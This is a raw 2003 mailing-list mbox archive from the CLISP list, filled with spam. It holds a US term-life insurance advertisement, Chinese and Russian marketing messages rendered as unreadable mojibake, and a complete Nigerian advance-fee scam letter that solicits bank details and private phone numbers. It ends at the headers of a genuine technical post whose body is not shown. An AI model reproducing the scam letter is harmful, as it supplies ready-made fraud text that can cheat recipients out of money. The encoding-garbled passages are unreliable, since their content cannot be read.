Sacramento, CA 95821-4555 800-211-0773 916-483-8157 (Fax) = http://natlbengrp.com/ ; Email: insureme@attbi.com Lic. Number 0507004 Copyright, National Benefits Group, 2002 We respect your privacy. If = you wish to be removed, please respond to natrec1@yahoo.com. = Subject=3Dremove. Thanks for your time. = ------=_NextPart_0000935B-00001008-05C5C9C8-4F80 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: quoted-printable

We respect your privacy.  If you wish to be removed, please = respond to natrec1@yahoo.com.  Subject=3Dremove. Thanks for your time.





NATIONAL = BENEFITS GROUP
PROTECT YOUR LOVED = ONES
=85AND BENEFIT YOURSELF!
=

3D"Reliability


ANNOUNCING: THE ULTIMATE ESTATE = BENEFIT

THE FIRST = TERM INSURANCE PLAN  THAT PAYS YOU TO OWN = IT.

ANNOUNCING: THE = SUPERIOR QUALITY TERM INSURANCE BENEFIT THAT RETURNS YOUR PREMIUMS TO YOU.

TOO GOOD TO BE TRUE?  IT ISN=92T...

WHEN IT COMES TO THE IMPORTANT THINGS IN = LIFE...

Ask = Yourself: Do I have loved ones, a Home, perhaps a Business or = Estate, I want to protect?  Have I done ALL I CAN to protect = my loved ones? Can I do more? Do I Really Want To Do More?  = Can I Actually Benefit Myself Financially AND protect the = important things in my life?
FINALLY, TERM LIFE = INSURANCE THAT WON=92T TREAT YOU LIKE AUTO INSURANCE =96 YOU KNOW, PAYING = FOR COVERAGE, ONLY TO GET NOTHING BACK.

Superior, = High-Quality Term Life Insurance protection that RETURNS =
PREMIUMS
you pay into the policy to you. That=92s right, = PREMIUMS YOU PAY INTO OUR TERM PROTECTION ARE RETURNED = BACK TO YOU.  There is saving money; then again, there is =
SAVING = MONEY.

  =    Too good to be true?  It=92s a reality.  An = honest-to-goodness way to protect your loved ones, and, incredibly, = financially protect and benefit yourself as well=85

AT A COST YOU CAN = AFFORD.

Sound interesting? Great.  It should = .  Our Return of Premium product, called ROPTerm, is, truly, a great = plan.  Now=85a plan exists that provides the benefits of = both term and whole life insurance.

     ROPTerm is issued by The Old Line Life Insurance Company of America; for = decades, an A+ rated insurer offering the very highest standards of = quality and service.  Since 1922, Old Line Life has offered = the very highest, superior quality, coverage to policyholders, = placing the highest priority on superior customer = service.

Old Line Life Insurance Company is a member of the = American General Group of Companies, the largest life, = business, and commercial insurance company in the = world.

     As insurance brokers, we can = write policies for several hundred insurers licensed to transact = insurance in
California; We = offer ROPTerm = for its superior quality, low-cost, competitive rates, and the = superior Return of Premium benefit.
     = Just think: now you can get the superior quality life insurance protection you want and need, and = get your base premiums returned to you at the end of the term = period.   What=92s more, you can cancel the = protection before the level premium period ends and = you=92ll still have premium dollars returned to = you!!!

     Get this superior quality = protection, and the premium payments you make into your policy are = returned to you.  =



   AIG   AMERICAN GENERAL

      SAMPLE = RATES

ROP Term =97 = $250,000

Monthly = premium for Select Nontobacco Class I

15-year = = term             ; 30-year term

Age

Male

Female

Male

Female

35

$70.60

$65.50

$39.36

$34.15

45

104.96

95.38

73.30

54.77

55

219.50

183.05

=97

=97



     = A+ Superior Quality Term Life Protection that = PAYS YOU to fully protect the important things in your life:  = Loved Ones, An Estate, a Business=85

WHAT COULD = BE EASIER AND BETTER THAN THIS?
TERM INSURANCE THAT PAYS = YOU.

ALL INSURANCE SHOULD WORK THIS WAY.

Now = you=92re completely protecting your loved ones=85and financially = benefiting yourself as well. PROTECT YOUR HOME, YOUR ESTATE, = YOUR BUSINESS-- YOUR LOVED ONES.

Available in = guaranteed level premium periods of 15, 20, or 30 = years.

     This is a = great benefit to you and the important things in your life.  = CHECK IT OUT.  Call us at 800-211-0773, = or reply to us at insureme@attbi.com , or visit us = on our website at http://natlbengrp.com/ and we=92ll = gladly provide you with a FREE quote upon request. Just ask. = NO SALESPERSON WILL VISIT YOU.  Let us show you how = this honest, superior, low-cost life insurance benefit can work for = you.  Give the important things in life the protection = that=92s needed, and deserved.  We also provide low-cost = quotes for over 200 insurance companies. =




3D"Reliability    =    NATIONAL BENEFITS GROUP  =      3D"Reliability
Quality = Insurance Brokers Since 1976
We=92re The Best Idea For = Your:
Life = Insurance, Annuities, Asset Protection Strategies
Long Term Care = Insurance, Business Insurance
Medic-Aid/Medi-Cal Planning, Medicare = Supplement

3323 Watt Ave., Suite 107
Sacramento, CA  = 95821-4555
800-211-0773     916-483-8157 = (Fax) 

http://natlbengrp.com/    ;   Email: insureme@attbi.com =

Lic. Number 0507004
Copyright, National Benefits Group, = 2002


We respect your privacy.  If you wish to be removed, please = respond to natrec1@yahoo.com.  Subject=3Dremove. Thanks for your time.

 

------=_NextPart_0000935B-00001008-05C5C9C8-4F80-- ------=_NextPart_0000935B-00001008-05C5C9C8-BEDD-- From tbd234@mail.ht.net.tw Sun Apr 13 02:40:48 2003 Received: from tc218-187-132-2.adsl.pl.apol.com.tw ([218.187.132.2] helo=mail.ht.net.tw) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 194dyh-0004I0-00 for ; Sun, 13 Apr 2003 02:40:48 -0700 From: ºô¸ô¦æ¾P¸g²z To: clisp-list@lists.sourceforge.net Reply-To: tbd234@mail.ht.net.tw MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] ¾÷·|¥u¦¹¤@¦¸^^ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 13 02:41:09 2003 X-Original-Date: 13 Apr 2003 17:38:34 +0800 ´x´¤³o­Ó­P´I³q¸ô

¸Û¼x­Ý®tºô¸ô¦æ¾P¤H­û¡I¡I

§A¡IÁÙ¦b¬°¤u§@·Ð´o¶Ü¡H

§Ú­Ì´£¨Ñ±z¤@­Ó³Ì´Îªº¨Æ·~³Æ­L¡IÂI§Ú¤F¸Ñ

From nknknk@rambler.ru Mon Apr 14 20:34:15 2003 Received: from pc-80-193-117-150-cw.blueyonder.co.uk ([80.193.117.150]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 195HCl-0002yi-00 for ; Mon, 14 Apr 2003 20:33:57 -0700 From: To: Content-Type: text/html; charset="koi8-r" Message-Id: Subject: [clisp-list] áÄÒÅÓÁ.òÕ - www.Adresa.Ru - ðòåóôéöîùå ÁÄÒÅÓÁ ÄÌÑ ÷ÁÛÅÇÏ ÓÁÊÔÁ (×ËÌÀÞÁÑ ÂÅÓÐÌÁÔÎÏÅ ÉÚÇÏÔÏ×ÌÅÎÉÅ ÓÔÒÁÎÉÃÙ ÄÌÑ ðÏËÕÐÁÔÅÌÑ ÁÄÒÅÓÁ) - ÔÅÌ. × íÏÓË×Å 108-5555 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 14 20:35:03 2003 X-Original-Date: Mon, 14 Apr 2003 20:33:57 -0700
 
ÔÅÌ. × íÏÓË×Å 108-5555
 
 
"ëÏÌÉÞÅÓÔ×Ï ÕÄÁÞÎÙÈ ÓÌÏ× × ÒÕÓÓËÏÍ ÑÚÙËÅ ÏÇÒÁÎÉÞÅÎÏ, ÈÏÒÏÛÉÊ ÄÏÍÅÎ
(ÁÄÒÅÓ ÓÁÊÔÁ × ÉÎÔÅÒÎÅÔ) ÓÔÏÉÔ ÄÏÒÏÇÏ, É ÃÅÎÙ ÂÕÄÕÔ ÒÁÓÔÉ ÐÏÓÔÏÑÎÎÏ."
("ëÏÍÍÅÒÓÁÎÔß-äÅÎØÇÉ", N 44 - 2002 Ç.)
 

òÅËÌÁÍÉÒÏ×ÁÔØ ÔÏ×ÁÒÙ ÉÌÉ ÕÓÌÕÇÉ ÂÅÚ ÌÅÇËÏÚÁÐÏÍÉÎÁÅÍÏÇÏ ÁÄÒÅÓÁ × ÉÎÔÅÒÎÅÔ ×ÉÄÁ www.ëìàþå÷ïå_óìï÷ï_÷áûåçï_âéúîåóá.ru  - ÔÁË ÖÅ ÎÅÒÁÚÕÍÎÏ, ËÁË É ÂÅÚ ÌÅÇËÏÚÁÐÏÍÉÎÁÅÍÏÇÏ ÔÅÌÅÆÏÎÁ. ÷ ÓÏ×ÒÅÍÅÎÎÏÍ ÍÉÒÅ ÞÅÌÏ×ÅÞÅÓËÉÊ ÍÏÚÇ ÐÅÒÅÇÒÕÖÅÎ ÉÎÆÏÒÍÁÃÉÅÊ. óÏ ×ÓÅÈ ÓÔÏÒÏÎ ÌØÀÔÓÑ ÒÅËÌÁÍÎÙÅ ÐÏÔÏËÉ, ÉÚÏÂÉÌÕÀÝÉÅ ÄÁÎÎÙÍÉ, ËÏÔÏÒÙÅ ÞÅÌÏ×ÅË ÕÖÅ ÎÅ ÔÏÌØËÏ ÎÅ ÈÏÞÅÔ, ÎÏ ÐÏÐÒÏÓÔÕ ÎÅ ÍÏÖÅÔ ÚÁÐÏÍÎÉÔØ.

ðÏÜÔÏÍÕ ÐÒÉ ÐÒÏ×ÅÄÅÎÉÉ ÒÅËÌÁÍÎÏÊ ËÁÍÐÁÎÉÉ ÇÌÁ×ÎÅÊÛÉÍ ÍÏÍÅÎÔÏÍ Ñ×ÌÑÅÔÓÑ Ì£ÇËÏÓÔØ É ÉÎÔÕÉÔÉ×ÎÏÓÔØ ÚÁÐÏÍÉÎÁÅÍÏÓÔÉ ËÏÏÒÄÉÎÁÔ ÐÒÅÄÐÒÉÑÔÉÑ (× ÐÅÒ×ÕÀ ÏÞÅÒÅÄØ, - ÁÄÒÅÓ × ÉÎÔÅÒÎÅÔ), ÕËÁÚÙ×ÁÅÍÙÈ × ÏÂßÑ×ÌÅÎÉÉ.

óÒÁ×ÎÉÔÅ ÓÁÍÉ:
ÎÁÐÒÉÍÅÒ, ÏÄÎÁ ÆÉÒÍÁ, ÐÒÏÄÁÀÝÁÑ ËÏÆÅ,
ÉÍÅÅÔ ÁÄÒÅÓ www.KOFE.ru,
Á ÄÒÕÇÁÑ - www.LORICCIANI-COFFEE-LTD.ru ÌÉÂÏ www.HJUYT.ru
 
á ÔÅÐÅÒØ ÐÅÒÅËÌÀÞÉÔÅÓØ ÎÁ ÐÁÒÕ ÞÁÓÏ× ÎÁ ÄÒÕÇÉÅ ÄÅÌÁ, É ÓÐÒÏÓÉÔÅ ÓÅÂÑ - ÁÄÒÅÓ ÓÁÊÔÁ ËÁËÏÊ ÆÉÒÍÙ ÏÓÔÁÌÓÑ Õ ÷ÁÓ × ÐÁÍÑÔÉ ?
á ÅÓÌÉ ÷Ù ×ÓÅÇÏ ÎÅÓËÏÌØËÏ ÓÅËÕÎÄ ÓÌÙÛÁÌÉ ÜÔÉ ÁÄÒÅÓÁ × ÒÅËÌÁÍÅ ÐÏ ÒÁÄÉÏ ÉÌÉ ÍÅÌØËÏÍ Õ×ÉÄÅÌÉ ÐÏ ô÷ ÌÉÂÏ ÎÁ ÒÅËÌÁÍÎÏÍ ÝÉÔÅ ?
ëÁËÉÅ ÉÚ ÜÔÉÈ ÁÄÒÅÓÏ× ÷Ù ÌÅÇËÏ ×ÓÐÏÍÎÉÔÅ É ÞÅÒÅÚ ÄÅÎØ, É ÞÅÒÅÚ ÍÅÓÑà?

é ÜÔÏ - ÄÁÌÅËÏ ÎÅ ÅÄÉÎÓÔ×ÅÎÎÏÅ ÐÒÅÉÍÕÝÅÓÔ×Ï ÁÄÒÅÓÁ ×ÉÄÁ www.ëìàþå÷ïå_óìï÷ï_÷áûåçï_âéúîåóá.ru (ÐÏÄÒÏÂÎÅÅ ÓÍ. ÎÁ ÎÁÛÅÍ ÓÁÊÔÅ × ÉÎÔÅÒÎÅÔ).

ïÄÎÏÊ ÉÚ ÓÁÍÙÈ ÒÁÓÐÒÏÓÔÒÁΣÎÎÙÈ ÏÛÉÂÏË, Ñ×ÌÑÀÝÅÊÓÑ ÐÒÉÞÉÎÏÊ ÍÎÏÇÏÍÉÌÌÉÏÎÎÙÈ ÐÏÔÅÒØ, - ÍÎÅÎÉÅ Ï ÔÏÍ, ÞÔÏ ÍÎÏÇÏËÒÁÔÎÏÅ ÐÏ×ÔÏÒÅÎÉÅ ÏÂßÑ×ÌÅÎÉÑ × óíé ÉÌÉ ÎÁ ÒÅËÌÁÍÎÙÈ ÝÉÔÁÈ ÐÏÍÏÇÁÅÔ "ÒÁÓËÒÕÔÉÔØ" ÌÀÂÏÊ ÎÏÍÅÒ ÔÅÌÅÆÏÎÁ ÉÌÉ ÁÄÒÅÓ × ÉÎÔÅÒÎÅÔ.

ðÏÄÏÂÎÙÅ ÚÁÂÌÕÖÄÅÎÉÑ ÒÅËÌÁÍÎÙÈ ÍÅÎÅÄÖÅÒÏ× ÐÏÓÔÁ×ÉÌÉ ÎÁ ÇÒÁÎØ ÒÁÚÏÒÅÎÉÑ ÍÎÏÇÉÅ ÐÒÅÄÐÒÉÑÔÉÑ, ×ÌÏÖÉ×ÛÉÅ × ÒÅËÌÁÍÎÙÅ ËÁÍÐÁÎÉÉ ÏÇÒÏÍÎÙÅ ÓÒÅÄÓÔ×Á (ÐÒÉÞ£Í ÚÁÞÁÓÔÕÀ ÚÁ£ÍÎÙÅ), É ÐÒÉ ÜÔÏÍ "ÓÜËÏÎÏÍÉ×ÛÉÅ" ÎÁ ÐÏËÕÐËÅ ÏÔÒÁÓÌÅ×ÏÇÏ ÁÄÒÅÓÁ × ÉÎÔÅÒÎÅÔ ×ÉÄÁ

www.ëìàþå÷ïå_óìï÷ï_÷áûåçï_âéúîåóá.ru

îÅÏÂÈÏÄÉÍÏÓÔØ ÐÏËÕÐËÉ ÄÌÑ Ó×ÏÅÇÏ ÓÁÊÔÁ ÁÄÒÅÓÏ× ×ÉÄÁ www.ëìàþå÷ïå_óìï÷ï_÷áûåçï_âéúîåóá.ru (×ÍÅÓÔÏ ÁÄÒÅÓÁ ×ÉÄÁ www.îáú÷áîéå_æéòíù.ru ÌÉÂÏ × ËÏÍÐÌÅËÔÅ Ó ÎÉÍ) ÕÖÅ ÄÁ×ÎÏ ÐÏÎÑÌÉ ×ÌÁÄÅÌØÃÙ web-ÓÁÊÔÏ× É × ÚÁÐÁÄÎÙÈ ÓÔÒÁÎÁÈ, É × òÏÓÓÉÉ (Ó ÍÎÏÇÏÞÉÓÌÅÎÎÙÍÉ ÐÒÉÍÅÒÁÍÉ ÷Ù ÍÏÖÅÔÅ ÏÚÎÁËÏÍÉÔØÓÑ ÎÁ ÎÁÛÅÍ ÓÁÊÔÅ × ÉÎÔÅÒÎÅÔ).

á ×Ù ÈÏÔÉÔÅ, ÞÔÏÂÙ ÉÎÆÏÒÍÁÃÉÑ Ï ÷ÁÛÅÊ ÆÉÒÍÅ ÓÔÁÌÁ ÌÅÇËÏ ÄÏÓÔÕÐÎÏÊ ÒÏÓÓÉÊÓËÉÍ ÐÏÌØÚÏ×ÁÔÅÌÑÍ ÉÎÔÅÒÎÅÔ?
 
ÔÅÌ. × íÏÓË×Å 108-5555
 
- 4-Ê ÇÏÄ ÌÉÄÅÒÓÔ×Á ÎÁ ÒÏÓÓÉÊÓËÏÍ ÒÙÎËÅ ÐÒÅÓÔÉÖÎÙÈ ÌÅÇËÏÚÁÐÏÍÉÎÁÅÍÙÈ ÁÄÒÅÓÏ× ×ÉÄÁ

www.ëìàþå÷ïå_óìï÷ï_÷áûåçï_âéúîåóá.ru -

ÐÒÅÄÌÁÇÁÀÔ ÷ÁÍ ÐÒÅÓÔÉÖÎÙÅ, ÜËÓËÌÀÚÉ×ÎÙÅ ÁÄÒÅÓÁ × ÉÎÔÅÒÎÅÔ ÉÍÅÎÎÏ ÐÏ ÷áûåíõ ÷éäõ äåñôåìøîïóôé É ÐÏ ÷áûåê ïôòáóìé, ÎÁÐÒÉÍÅÒ:

âåîúéî.òÕ - www. BENZIN .ru
óåòåâòï.òÕ - www. SEREBRO ru
ëáòôïî.òÕ - www. KARTON ru
ðìáóôéë.òÕ - www. PLASTIK ru
âáîëåô.òÕ - www. BANKET ru
ëòõéú.òÕ - www. KRUIZ ru
 
- ×ÓÅÇÏ ÂÏÌÅÅ 1300 ÁÄÒÅÓÏ× ÐÏ ÷óåí ×ÉÄÁÍ ÄÅÑÔÅÌØÎÏÓÔÉ É ÐÏ ìàâùí ÏÔÒÁÓÌÑÍ.
 
     åÓÌÉ Õ ÷ÁÛÅÇÏ ÐÒÅÄÐÒÉÑÔÉÑ ÅÝ£ ÎÅÔ Ó×ÏÅÇÏ ÓÁÊÔÁ × ÉÎÔÅÒÎÅÔ, ÔÏ ÐÏ ËÕÐÌÅÎÎÏÍÕ ÷ÁÛÉÍ ÐÒÅÄÐÒÉÑÔÉÅÍ ÁÄÒÅÓÕ ÎÁÛÉÍ ãÅÎÔÒÏÍ ÂÅÓÐÌÁÔÎÏ ÍÏÖÅÔ ÂÙÔØ ÉÚÇÏÔÏ×ÌÅÎÁ É ÒÁÚÍÅÝÅÎÁ ÓÔÒÁÎÉÃÁ Ó ÉÎÆÏÒÍÁÃÉÅÊ Ï ÷ÁÛÅÍ ÐÒÅÄÐÒÉÑÔÉÉ.

     åÓÌÉ Õ ÷ÁÛÅÇÏ ÐÒÅÄÐÒÉÑÔÉÑ ÕÖÅ ÅÓÔØ Ó×ÏÊ ÓÁÊÔ × ÉÎÔÅÒÎÅÔ, ÔÏ ÐÏ ËÕÐÌÅÎÎÏÍÕ ÷ÁÛÉÍ ÐÒÅÄÐÒÉÑÔÉÅÍ ÁÄÒÅÓÕ ÎÁÛÉÍ ãÅÎÔÒÏÍ ÂÅÓÐÌÁÔÎÏ ÍÏÖÅÔ ÂÙÔØ ÉÚÇÏÔÏ×ÌÅÎÁ É ÒÁÚÍÅÝÅÎÁ ÓÔÒÁÎÉÃÁ Ó Á×ÔÏÍÁÔÉÞÅÓËÏÊ ÐÅÒÅÁÄÒÅÓÁÃÉÅÊ ÎÁ ÷ÁÛ ÓÕÝÅÓÔ×ÕÀÝÉÊ ÁÄÒÅÓ ÓÁÊÔÁ.

     ÷ÌÁÄÅÎÉÅ ÐÏÄÏÂÎÙÍÉ ÁÄÒÅÓÁÍÉ ÁÎÁÌÏÇÉÞÎÏ ÓÉÔÕÁÃÉÉ, ËÏÇÄÁ × ÓÏÏÔ×ÅÔÓÔ×ÕÀÝÉÈ ÒÁÚÄÅÌÁÈ ÓÐÒÁ×ÏÞÎÉËÏ× É ÒÅËÌÁÍÎÙÈ ÏÂßÑ×ÌÅÎÉÊ ÎÁÈÏÄÉÌÉÓØ ÂÙ ÔÅÌÅÆÏÎÙ, ÁÄÒÅÓ É ÇÒÁÆÉÞÅÓËÁÑ ÉÎÆÏÒÍÁÃÉÑ ôïìøëï ÷áûåê æéòíù.

     ÷ÌÁÄÅÎÉÅ ÐÏÄÏÂÎÙÍÉ ÁÄÒÅÓÁÍÉ ÄÅÌÁÅÔ ÓÁÊÔ ÷ÁÛÅÊ ÆÉÒÍÙ ìåçëï îáèïäéíùí ÓÒÅÄÉ ÓÏÔÅÎ ÔÙÓÑÞ ÄÒÕÇÉÈ ÓÁÊÔÏ×. üÔÏ - ÇÏÒÁÚÄÏ ÒÅÚÕÌØÔÁÔÉ×ÎÅÅ, ÞÅÍ ÒÁÚÍÅÝÁÔØ ÓÓÙÌËÉ ÎÁ ÐÏÉÓËÏ×ÙÈ ÓÅÒ×ÅÒÁÈ É × ËÁÔÁÌÏÇÁÈ.

     ðÏ ÉÎÆÏÒÍÁÃÉÉ ÇÁÚÅÔÙ "÷ÅÄÏÍÏÓÔÉ" (N 175 - 2002 Ç.) "ÒÏÓÓÉÊÓËÁÑ ÁÕÄÉÔÏÒÉÑ óÅÔÉ ÓÏÓÔÁ×ÌÑÅÔ ÐÏÞÔÉ 9 ÍÌÎ. ÞÅÌÏ×ÅË... îÁÛÁ ÓÔÒÁÎÁ ÚÁÎÉÍÁÅÔ × å×ÒÏÐÅ ÐÏÞ£ÔÎÏÅ 7-Å ÍÅÓÔÏ ÐÏ ÕÒÏ×ÎÀ ÐÒÏÎÉËÎÏ×ÅÎÉÑ ÉÎÔÅÒÎÅÔÁ."
 
òÁÓÓÍÏÔÒÉÍ ÓÏÌÉÄÎÙÅ ÉÎ×ÅÓÔÉÃÉÏÎÎÙÅ ÐÒÅÄÌÏÖÅÎÉÑ (ÕÓÌÕÇÉ ÐÏÓÒÅÄÎÉËÏ× ÐÒÉ×ÅÔÓÔ×ÕÀÔÓÑ).
 
ïÄÎÁËÏ, × ÌÀÂÏÍ ÓÌÕÞÁÅ ÷Ù ÍÏÖÅÔÅ ÐÒÏÓÔÏ ËÕÐÉÔØ É ÏÄÉÎ ÐÏÄÈÏÄÑÝÉÊ ÷ÁÍ ÁÄÒÅÓ.
 
ó Õ×ÁÖÅÎÉÅÍ,
 
ÔÅÌ. × íÏÓË×Å 108-5555
 
 
v.0704









yccbg4o From remandd02@netscape.net Tue Apr 15 07:11:49 2003 Received: from [212.165.142.216] (helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 195R9p-0000Fs-00 for ; Tue, 15 Apr 2003 07:11:47 -0700 From: "Remi Andrews" To:clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain;charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: Subject: [clisp-list] FINANCIAL TRANSACTION (Urgent reply) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 15 07:12:11 2003 X-Original-Date: Tue, 15 Apr 2003 15:12:05 DEAR SIR, MY NAME IS REMI ANDREWS, THE CHIEF FINANCIAL/LEGAL ADVISER TO LATE HEAD OF STATE OF NIGERIA, GENERAL SANI ABACHA. I GOT YOUR CONTACT FROM A SCEARCH INTO THE INTERNET AND OPTED FOR IT AS A RESULT OF MY QUEST TO DO THE BUSINESS AT HAND WITH YOU AND WISH TO USE THIS OPPORTUNITY TO NOTIFY YOU OF AN EXISTING AMOUNT OF MONEY WE WILL LIKE TO TRANSFER OVERSEAS FOR THE PURPOSE OF INVESTMENT IN YOUR COUNTRY. AS YOU MUST HAVE KNOWN, THE FAMILY OF THE LATE HEAD OF STATE IS CURRENTLY GOING THROUGH ALL SORTS OF PROBES UNDER THE CURRENT HEAD OF STATE, GENERAL OLUSEGUN OBASANJO, AND THEY HAVE BEEN MADE TO REFUND TO THE GOVERNMENT THE SUM OF $625,263.187.00 (SIX HUNDRED AND TWENTY FIVE MILLION, TWO HUNDRED AND SIXTY THREE THOUSAND, ONE HUNDRED AND EIGHTY SEVEN UNITED STATES DOLLARS AND £75,306,884.00 (SEVENTY FIVE MILLION, THREE HUNDRED AND SIX THOUSAND, EIGHT HUNDRED AND EIGHTY FOUR POUNDS STERLING) AND ALSO MILLIONS OF MONEY IN OUR LOCAL CURRENCY AND PROPERTIES TOO, OF WHICH YOU CAN READ FROM THE NEWSPAPER PUBLICATION THAT I WILL SEND TO YOU AS SOON AS I HEAR FROM YOU. BASED ON THIS AMOUNT RECOVERED FROM THEM, THEY HAVE MANDATED ME TO FIND A FOREIGNER WHO CAN HELP THEM MOVE THE MONEY THEY SECURED WITH A SECURITY COMPANY IN NIGERIA TO OVERSEAS. A CERTIFICATE OF DEPOSIT AND CERTIFICATE OF ORIGIN AND OTHER RELEVANT DOCUMENTS WILL BE GIVEN TO YOU TO PROVE THE REALITY OF THE TRANSACTION. IF YOU THEREFORE AGREE TO ASSIST US NOTE THAT YOU WILL NOT BE REQUIRED TO SIGN ANY MONEY TRANSFER DOCUMENTS AS OUR APPOINTED ATTORNEY WILL DO ALL THAT. ALSO YOU WILL NOT BE REQUIRED TO VISIT NIGERIA BUT WOULD SIMPLY BE REQUIRED TO FURNISH THE ATTORNEY AT THE RIGHT TIME, YOUR BANK DETAILS, WHERE YOU WANT THE MONEY TO BE TRANSFERRED. ONCE I HEAR FROM YOU, I WILL INITIATE THE PROCESSING OF THE TRANSFER, AND IN ABOUT TEN WORKING DAYS THE FUND WILL BE IN YOUR NOMINATED ACCOUNT, FOR US TO SHARE IN THE RATIO OF 75% FOR US AND 25% FOR YOU OF WHICH YOU WILL HELP US INVEST OUR OWN SHARE IN YOUR COUNTRY. ALSO I WILL TELL YOU HOW MUCH WE INTEND TO TRANSFER FIRST AS SOON AS I HEAR FROM YOU. I WILL NEED YOUR PRIVATE PHONE AND FAX NUMBERS FOR EASY COMMUNICATION. I LOOK FORWARD FOR YOUR URGENT REPLY, ALL REPLIES SHOULD BE THROUGH MY EMAil ADDRESS :randrewms9@excite.com BEST REGARDS, REMI ANDREWS. From tbd234@mail.ht.net.tw Tue Apr 15 22:40:35 2003 Received: from tc218-187-132-2.adsl.pl.apol.com.tw ([218.187.132.2] helo=mail.ht.net.tw) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 195feq-0004zU-00 for ; Tue, 15 Apr 2003 22:40:33 -0700 From: ºô¸ô¦æ¾P¸g²z To: clisp-list@lists.sourceforge.net Reply-To: tbd234@mail.ht.net.tw MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] §Ú¨ÓÀ°§A·Q¤@·Q¿ìªk Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 15 22:41:07 2003 X-Original-Date: 16 Apr 2003 13:21:04 +0800 ±z¬O¤U­±¨º¤@¨º¤@ºØ¨­¥÷

¡@

¡@

±z¬O¤U­±¨º¤@¨º¤@ºØ¨­¥÷¡G

¡@¡@¢°.¬O¤@¦ì·QÁÈ¿úªº¾Ç¥Í¡A«o¥u¯àÁȨì¨C¤p®É70¡ã100ªº®ÉÁ~¡A²Ö¿n¤£¤F°]´I¡C

¡@¡@¢±.¬O¤@¦ì¤W¯Z±Ú¡A¨C¤Ñ¥´¥d¡¨¤W¡¨¡¨¤U¡¨¯Z¡A­è¦n¥d¦b¨º¸Ì¡A¤S¾á¤ß³Qµô­û¡C

¡@¡@¢².¬O¤@¦ì·QÀ°®a®x¦hÁȨǿú¡A¨Ó¬°®a®xºÉ¤ßºÉ¤Oªº®a®x¥D°ü¡C

¡@¡@¡@ ¦pªG§A¯uªº·Q¼W¥[¦¬¤J¡A¤S¨ã³Æ¤F¤@¨Ç¹q¸£ªº°ò¦¡I

     ¨º»ò®¥³ß±z¡I³o±N·|¬O±z³Ì¦nªº¾÷·|¡I

±zª¾¹D¶Ü¡H

¡@¡@­ì¨Ó¶R¤ú»I¡A¥Î½Ã¥Í¯È¡A¤]¯à²Ö¿n°]´I¡I¦A°t¤W±M·~ªººô¸ô¦æ¾P¤è¦¡¡Iµ´¹ï¤ÞÃz¥«³õ¡I

¡@

§Ú·Q¬Ý¶R¤ú»I¤Î¥Î½Ã¥Í¯ÈÁÈ¿úªº¼v¤ù

 §Ú­n¶i¤@¨B¤F¸Ñ

§Ú­nÁÈ¿ú¡A½Ð±zÁpµ¸§Ú¡I

¡@

¤F¸Ñ¬O¤£¥Îªá¿úªº!!¾÷·|¬O´x´¤¦b¥ýª¾¥ýıªº¤H¤â¤W,´x´¤¥ý¾÷¡A´N¬OĹ®a¡I

                      ·í¾÷·|¥X²{¡@±z¬O¬Ý¨ì¥¦½§²Lªº§Î»ª¡@ÁÙ¬O¤w¬Ý¨ì¨ä¤º²[ªº²`«× ¥¿©Ò¿×¼z²´ÃÑ­^¶¯
¡@¡@¡@¡@³o¤Ç¤d¨½°¨ ¥u¦³¿W¨ã¼z²´ªº§B¼Ö ¥i¥H¬Ý¨ì¥Lªº¼ç¤O»P»ù­È

­Y¦]¤H¼Æ¤Ó¦h,¼v¤ùµLªk¥¿±`Æ[¬Ý,½Ð±zª½±µ¯d¤U±zªº¸ê®Æ,§Ú±N·|ºÉ³t»P±z³sµ¸!

From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 16 05:27:54 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 195m11-0008Rj-00 for ; Wed, 16 Apr 2003 05:27:51 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 16 Apr 2003 14:27:37 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <273NSH0S>; Wed, 16 Apr 2003 14:27:37 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE03958CF6@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: a.bignoli@computer.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] :malloc-free allocation -- here: instance methods Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk 